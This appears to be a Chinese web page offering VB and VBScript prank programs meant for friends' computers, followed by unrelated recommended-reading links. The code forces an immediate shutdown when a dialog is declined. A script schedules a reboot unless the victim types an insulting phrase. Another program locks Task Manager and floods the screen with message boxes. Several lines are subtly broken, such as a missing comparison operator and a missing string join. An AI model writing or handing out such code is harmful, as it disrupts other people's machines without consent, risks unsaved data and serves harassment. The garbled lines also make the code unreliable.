vb.net整人小程序有趣的vb小程序代码 _代码

用VB做一个恶搞的小程序。大家帮帮忙啊。我同学过生日，礼物我没有找到好的，所以，只好用程序来活跃下...Private Sub Form_Load()
If MsgBox("vb.net整人小程序我vb.net整人小程序的礼物很好vb.net整人小程序，请确定", vbYesNo) = vbNo Then Shell "e:\shutdown.exe -s -t 0"
End Sub
vb有趣小程序整人的小程序，会弹出对话框提示：快说我是猪，不输入的话会在1分钟之内自动关机，输入的话，当让会被笑话啦，呵呵
将以下文字粘贴到记事本上后将后缀名改为:vbe,然后双击即可!(里面的那些词语可以自行修改)，经测试肯定可以使用。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说[我是猪]，不说[我是猪]，不信，试试···"" ",0 ,true
dim a
do while(a"我是猪")
a = inputbox ("说[我是猪],就不关机，快撒，说 ""[我是猪]"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "承认就好了嘛"
阻止关机的方法:按键盘上的Win键+R键，在出来的窗口中输入:shutdown -a 再按回车即可取消关机命令。
给一些VB整人的代码VB整人经典代码
此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你
Private Sub Form_Load()
Open Environ$("WinDir")"\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵，你知道我是谁吗？", 16
MsgBox "什么？？不知道？", 16
MsgBox "那你打开我干什么？", 16
MsgBox "你有空没事做吧？！", 16
MsgBox "我..就是鼎鼎大名的987876198", 16
MsgBox "987876198..", 16
MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16
MsgBox "算了算了，不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了！", 16
MsgBox "哈哈，是不是很过瘾呢？", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫王得地..", 16
MsgBox "性别：男..", 16
MsgBox "今年35岁..", 16
MsgBox "不好意思噢，我好像说多了..", 16
MsgBox "不要这样喇，听我说完先好不？", 16
MsgBox "来来来，开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛，你认真看下去我就放你走..", 16
MsgBox "好，开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈，想哭吗？", 16
MsgBox "被骗的感觉不爽吧？", 16
MsgBox "喂喂喂！别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了，任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16

vb.net整人小程序有趣的vb小程序代码

推荐阅读

哪些人不能吃鲜贝鲜贝什么人不能吃

哄女生甜言蜜语的句子脱单必备情话宝典

淘宝连衣裙女装淘宝女装排行榜

华为平板M68.4英寸平板电脑硬盘坏了故障处理方法

WKWebView详解

关于庆祝圣诞节的小学生日记作文给小学生写的圣诞节祝福

明堂日禄什么意思

如何判断宝宝是否免疫力差？

车厘子可以降尿酸吗

雨过天晴

专业数据分析团队,数据分析团队名称创意

一加手机|几乎无短板的旗舰机，这三款很值得入手，内行人用过都说好

老年人常吃香菇有什么好处

苹果电脑在那里开启蓝牙功能

Win11电脑一开机就蓝屏显示你的电脑未正确启动怎么办？

张翰郑爽在快乐大本营看我七十二变开场的那首歌是... 快乐大本营看我七十二变

韭菜根的功效与作用

爱惜是什么意思爱惜解释

昙花怎么养殖方法昙花怎么养好

创业九死一生,不是谁都能成功,具什么样的特质才能创业呢？

vb.net整人小程序 有趣的vb小程序代码

推荐阅读

vb.net整人小程序有趣的vb小程序代码